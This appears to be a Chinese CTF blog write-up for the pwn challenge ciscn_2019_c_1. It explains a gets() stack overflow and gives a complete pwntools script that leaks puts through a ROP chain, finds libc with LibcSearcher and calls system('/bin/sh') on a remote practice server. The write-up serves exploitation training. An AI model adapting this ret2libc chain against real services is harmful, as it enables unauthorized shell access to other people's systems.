# ciscn_2019_c_1

先查看保护机制,64 位开了 NX 保护

发现应该是用不了 ret2syscall 的

v4 是格式化输入的,不存在溢出 55
v4!=2 退出里面的小循环,=1 进入 encrypt () 函数

看到 s 和 gets (), 填充为 0x50+8
发现 puts ()->re2libc
然后程序有一个死循环

if ( v0 >= strlen(s) )
  break;

让 s 第一个字符是‘\0’退出循环
offset=0x50+8-1

exp

a
from pwn import *
from LibcSearcher import *
p = remote('node5.buuoj.cn',28091)
#p=process('./ciscn_2019_c_1')
e=ELF("./ciscn_2019_c_1")
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr=0x400B28
ret=0x4006b9
pop_rdi=0x400c83
p.sendlineafter('Input your choice!\n','1')
payload1=b'\0'+b'a'*(0x50+8-1)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('encrypted\n',payload1)
p.recvuntil('Ciphertext\n')
puts_real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_addr=puts_real-libc.dump("puts")
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")   
system_real_addr=libc_addr+libc.dump("system")
p.sendlineafter('Input your choice!\n','1')
payload2=b'\0'+b'a'*(0x50+8-1)+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_real_addr)+p64(main_addr) 
p.sendlineafter('encrypted\n',payload2)
p.interactive()

好趴,调用 libcsearch 库和那个网站最后都一样啊,还是有那么多版本还是要都试一遍

更新于 阅读次数

请我吃[冰淇淋]~( ̄▽ ̄)~*

Jexy-Kynner 微信支付

微信支付